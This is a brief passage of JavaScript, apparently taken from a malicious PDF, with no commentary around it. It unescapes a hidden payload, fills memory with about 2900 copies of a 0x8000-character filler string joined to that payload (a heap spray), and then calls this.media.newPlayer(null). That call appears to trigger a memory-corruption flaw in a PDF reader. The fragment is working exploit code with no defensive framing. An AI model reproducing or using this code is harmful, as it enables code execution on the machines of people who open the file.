e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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